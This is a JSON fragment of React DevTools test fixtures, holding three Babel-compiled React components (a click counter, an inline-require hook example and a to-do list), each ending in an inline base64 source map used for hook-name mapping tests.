  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/Example.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkV4YW1wbGUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJzZXRDb3VudCJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50LCBzZXRDb3VudF0gPSB1c2VTdGF0ZSgwKTtcblxuICByZXR1cm4gKFxuICAgIDxkaXY+XG4gICAgICA8cD5Zb3UgY2xpY2tlZCB7Y291bnR9IHRpbWVzPC9wPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXsoKSA9PiBzZXRDb3VudChjb3VudCArIDEpfT5DbGljayBtZTwvYnV0dG9uPlxuICAgIDwvZGl2PlxuICApO1xufVxuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiIsImNvdW50Il0sIm1hcHBpbmdzIjoiQ0FBRDthNEJDQSxBV0RBIn1dXV19fV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIklubGluZVJlcXVpcmUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJyZXF1aXJlIiwidXNlU3RhdGUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFBQTs7Ozs7Ozs7QUFTTyxTQUFTQSxTQUFULEdBQXFCO0FBQzFCLFFBQU0sQ0FBQ0MsS0FBRCxJQUFVQyxPQUFPLENBQUMsT0FBRCxDQUFQLENBQWlCQyxRQUFqQixDQUEwQixDQUExQixDQUFoQjs7QUFFQSxTQUFPRixLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50XSA9IHJlcXVpcmUoJ3JlYWN0JykudXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIGNvdW50O1xufVxuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiJdLCJtYXBwaW5ncyI6IkNBQUQifV1dXX19XX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIlRvRG9MaXN0LmpzIl0sIm5hbWVzIjpbIkxpc3RJdGVtIiwiaXRlbSIsInJlbW92ZUl0ZW0iLCJ0b2dnbGVJdGVtIiwiaGFuZGxlRGVsZXRlIiwiaGFuZGxlVG9nZ2xlIiwiaXNDb21wbGV0ZSIsInRleHQiLCJMaXN0IiwicHJvcHMiLCJuZXdJdGVtVGV4dCIsInNldE5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJzZXRJdGVtcyIsImlkIiwidWlkIiwic2V0VUlEIiwiaGFuZGxlQ2xpY2siLCJoYW5kbGVLZXlQcmVzcyIsImV2ZW50Iiwia2V5IiwiaGFuZGxlQ2hhbmdlIiwiY3VycmVudFRhcmdldCIsInZhbHVlIiwiaXRlbVRvUmVtb3ZlIiwiZmlsdGVyIiwiaXRlbVRvVG9nZ2xlIiwiaW5kZXgiLCJmaW5kSW5kZXgiLCJzbGljZSIsImNvbmNhdCIsIm1hcCJdLCJtYXBwaW5ncyI6Ijs7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFHTyxTQUFTQSxRQUFULENBQWtCO0FBQUNDLEVBQUFBLElBQUQ7QUFBT0MsRUFBQUEsVUFBUDtBQUFtQkMsRUFBQUE7QUFBbkIsQ0FBbEIsRUFBa0Q7QUFDdkQsUUFBTUMsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0QsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPQyxVQUFQLENBRmtCLENBQXJCO0FBSUEsUUFBTUcsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0YsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPRSxVQUFQLENBRmtCLENBQXJCO0FBSUEsc0JBQ0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsa0JBQ0U7QUFBUSxJQUFBLE9BQU8sRUFBRUMsWUFBakI7QUFBQTtBQUFBO0FBQUE7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QixNQU5ILENBTVVsQixLQUFLLENBQUNpQixLQUFOLENBQVlGLEtBQUssR0FBRyxDQUFwQixDQU5WLENBRE0sQ0FBUjtBQVNELEdBZmdCLEVBZ0JqQixDQUFDZixLQUFELENBaEJpQixDQUFuQjtBQW1CQSxzQkFDRSxvQkFBQyxjQUFEO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLFlBREYsZUFFRTtBQUNFLElBQUEsSUFBSSxFQUFDLE1BRFA7QUFFRSxJQUFBLFdBQVcsRUFBQyxrQkFGZDtBQUdFLElBQUEsS0FBSyxFQUFFRixXQUhUO0FBSUUsSUFBQSxRQUFRLEVBQUVXLFlBSlo7QUFLRSxJQUFBLFVBQVUsRUFBRUgsY0FMZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQUZGLGVBU0U7QUFBUSxJQUFBLFFBQVEsRUFBRVIsV0FBVyxLQUFLLEVBQWxDO0FBQXNDLElBQUEsT0FBTyxFQUFFTyxXQUEvQztBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxrQkFDRTtBQUFNLElBQUEsSUFBSSxFQUFDLEtBQVg7QUFBaUIsa0JBQVcsVUFBNUI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsV0FERixDQVRGLGVBY0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsS0FDR0wsS0FBSyxDQUFDbUIsR0FBTixDQUFVOUIsSUFBSSxpQkFDYixvQkFBQyxRQUFEO0FBQ0UsSUFBQSxHQUFHLEVBQUVBLElBQUksQ0FBQ2EsRUFEWjtBQUVFLElBQUEsSUFBSSxFQUFFYixJQUZSO0FBR0UsSUFBQSxVQUFVLEVBQUVDLFVBSGQ7QUFJRSxJQUFBLFVBQVUsRUFBRUMsVUFKZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQURELENBREgsQ0FkRixDQURGO0FBMkJEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7RnJhZ21lbnQsIHVzZUNhbGxiYWNrLCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gTGlzdEl0ZW0oe2l0ZW0sIHJlbW92ZUl0ZW0sIHRvZ2dsZUl0ZW19KSB7XG4gIGNvbnN0IGhhbmRsZURlbGV0ZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICByZW1vdmVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgcmVtb3ZlSXRlbV0pO1xuXG4gIGNvbnN0IGhhbmRsZVRvZ2dsZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICB0b2dnbGVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgdG9nZ2xlSXRlbV0pO1xuXG4gIHJldHVybiAoXG4gICAgPGxpPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXtoYW5kbGVEZWxldGV9PkRlbGV0ZTwvYnV0dG9uPlxuICAgICAgPGxhYmVsPlxuICAgICAgICA8aW5wdXRcbiAgICAgICAgICBjaGVja2VkPXtpdGVtLmlzQ29tcGxldGV9XG4gICAgICAgICAgb25DaGFuZ2U9e2hhbmRsZVRvZ2dsZX1cbiAgICAgICAgICB0eXBlPVwiY2hlY2tib3hcIlxuICAgICAgICAvPnsnICd9XG4gICAgICAgIHtpdGVtLnRleHR9XG4gICAgICA8L2xhYmVsPlxuICAgIDwvbGk+XG4gICk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBMaXN0KHByb3BzKSB7XG4gIGNvbnN0IFtuZXdJdGVtVGV4dCwgc2V0TmV3SXRlbVRleHRdID0gdXNlU3RhdGUoJycpO1xuICBjb25zdCBbaXRlbXMsIHNldEl0ZW1zXSA9IHVzZVN0YXRlKFtcbiAgICB7aWQ6IDEsIGlzQ29tcGxldGU6IHRydWUsIHRleHQ6ICdGaXJzdCd9LFxuICAgIHtpZDogMiwgaXNDb21wbGV0ZTogdHJ1ZSwgdGV4dDogJ1NlY29uZCd9LFxuICAgIHtpZDogMywgaXNDb21wbGV0ZTogZmFsc2UsIHRleHQ6ICdUaGlyZCd9LFxuICBdKTtcbiAgY29uc3QgW3VpZCwgc2V0VUlEXSA9IHVzZVN0YXRlKDQpO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gdXNlQ2FsbGJhY2soKCkgPT4ge1xuICAgIGlmIChuZXdJdGVtVGV4dCAhPT0gJycpIHtcbiAgICAgIHNldEl0ZW1zKFtcbiAgICAgICAgLi4uaXRlbXMsXG4gICAgICAgIHtcbiAgICAgICAgICBpZDogdWlkLFxuICAgICAgICAgIGlzQ29tcGxldGU6IGZhbHNlLFxuICAgICAgICAgIHRleHQ6IG5ld0l0ZW1UZXh0LFxuICAgICAgICB9LFxuICAgICAgXSk7XG4gICAgICBzZXRVSUQodWlkICsgMSk7XG4gICAgICBzZXROZXdJdGVtVGV4dCgnJyk7XG4gICAgfVxuICB9LCBbbmV3SXRlbVRleHQsIGl0ZW1zLCB1aWRdKTtcblxuICBjb25zdCBoYW5kbGVLZXlQcmVzcyA9IHVzZUNhbGxiYWNrKFxuICAgIGV2ZW50ID0+IHtcbiAgICAgIGlmIChldmVudC5rZXkgPT09ICdFbnRlcicpIHtcbiAgICAgICAgaGFuZGxlQ2xpY2soKTtcbiAgICAgIH1cbiAgICB9LFxuICAgIFtoYW5kbGVDbGlja10sXG4gICk7XG5cbiAgY29uc3QgaGFuZGxlQ2hhbmdlID0gdXNlQ2FsbGJhY2soXG4gICAgZXZlbnQgPT4ge1xuICAgICAgc2V0TmV3SXRlbVRleHQoZXZlbnQuY3VycmVudFRhcmdldC52YWx1ZSk7XG4gICAgfSxcbiAgICBbc2V0TmV3SXRlbVRleHRdLFxuICApO1xuXG4gIGNvbnN0IHJlbW92ZUl0ZW0gPSB1c2VDYWxsYmFjayhcbiAgICBpdGVtVG9SZW1vdmUgPT4gc2V0SXRlbXMoaXRlbXMuZmlsdGVyKGl0ZW0gPT4gaXRlbSAhPT0gaXRlbVRvUmVtb3ZlKSksXG4gICAgW2l0ZW1zXSxcbiAgKTtcblxuICBjb25zdCB0b2dnbGVJdGVtID0gdXNlQ2FsbGJhY2soXG4gICAgaXRlbVRvVG9nZ2xlID0+IHtcbiAgICAgIC8vIERvbnQgdXNlIGluZGV4T2YoKVxuICAgICAgLy8gYmVjYXVzZSBlZGl0aW5nIHByb3BzIGluIERldlRvb2xzIGNyZWF0ZXMgYSBuZXcgT2JqZWN0LlxuICAgICAgY29uc3QgaW5kZXggPSBpdGVtcy5maW5kSW5kZXgoaXRlbSA9PiBpdGVtLmlkID09PSBpdGVtVG9Ub2dnbGUuaWQpO1xuXG4gICAgICBzZXRJdGVtcyhcbiAgICAgICAgaXRlbXNcbiAgICAgICAgICAuc2xpY2UoMCwgaW5kZXgpXG4gICAgICAgICAgLmNvbmNhdCh7XG4gICAgICAgICAgICAuLi5pdGVtVG9Ub2dnbGUsXG4gICAgICAgICAgICBpc0NvbXBsZXRlOiAhaXRlbVRvVG9nZ2xlLmlzQ29tcGxldGUsXG4gICAgICAgICAgfSlcbiAgICAgICAgICAuY29uY2F0KGl0ZW1zLnNsaWNlKGluZGV4ICsgMSkpLFxuICAgICAgKTtcbiAgICB9LFxuICAgIFtpdGVtc10sXG4gICk7XG5cbiAgcmV0dXJuIChcbiAgICA8RnJhZ21lbnQ+XG4gICAgICA8aDE+TGlzdDwvaDE+XG4gICAgICA8aW5wdXRcbiAgICAgICAgdHlwZT1cInRleHRcIlxuICAgICAgICBwbGFjZWhvbGRlcj1cIk5ldyBsaXN0IGl0ZW0uLi5cIlxuICAgICAgICB2YWx1ZT17bmV3SXRlbVRleHR9XG4gICAgICAgIG9uQ2hhbmdlPXtoYW5kbGVDaGFuZ2V9XG4gICAgICAgIG9uS2V5UHJlc3M9e2hhbmRsZUtleVByZXNzfVxuICAgICAgLz5cbiAgICAgIDxidXR0b24gZGlzYWJsZWQ9e25ld0l0ZW1UZXh0ID09PSAnJ30gb25DbGljaz17aGFuZGxlQ2xpY2t9PlxuICAgICAgICA8c3BhbiByb2xlPVwiaW1nXCIgYXJpYS1sYWJlbD1cIkFkZCBpdGVtXCI+XG4gICAgICAgICAgQWRkXG4gICAgICAgIDwvc3Bhbj5cbiAgICAgIDwvYnV0dG9uPlxuICAgICAgPHVsPlxuICAgICAgICB7aXRlbXMubWFwKGl0ZW0gPT4gKFxuICAgICAgICAgIDxMaXN0SXRlbVxuICAgICAgICAgICAga2V5PXtpdGVtLmlkfVxuICAgICAgICAgICAgaXRlbT17aXRlbX1cbiAgICAgICAgICAgIHJlbW92ZUl0ZW09e3JlbW92ZUl0ZW19XG4gICAgICAgICAgICB0b2dnbGVJdGVtPXt0b2dnbGVJdGVtfVxuICAgICAgICAgIC8+XG4gICAgICAgICkpfVxuICAgICAgPC91bD5cbiAgICA8L0ZyYWdtZW50PlxuICApO1xufVxuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiIsImhhbmRsZURlbGV0ZSIsImhhbmRsZVRvZ2dsZSIsIm5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJ1aWQiLCJoYW5kbGVDbGljayIsImhhbmRsZUtleVByZXNzIiwiaGFuZGxlQ2hhbmdlIiwicmVtb3ZlSXRlbSIsInRvZ2dsZUl0ZW0iXSwibWFwcGluZ3MiOiJDQUFEO2N1QkNBO2dCQ0RBO2tCREVBO29CQ0ZBO3NDZ0JHQSxBWUhBO3VDeEJJQTsyQ3hCSkE7NENvQktBLEFXTEE7OENiTUE7MkRTTkE7NkROT0E7b0V0QlBBO3NFb0JRQTsyRXBCUkE7NkVrQlNBO2dGbEJUQTtrRmtCVUE7bUdsQlZBIn1dXV19fV19"
  },
  {
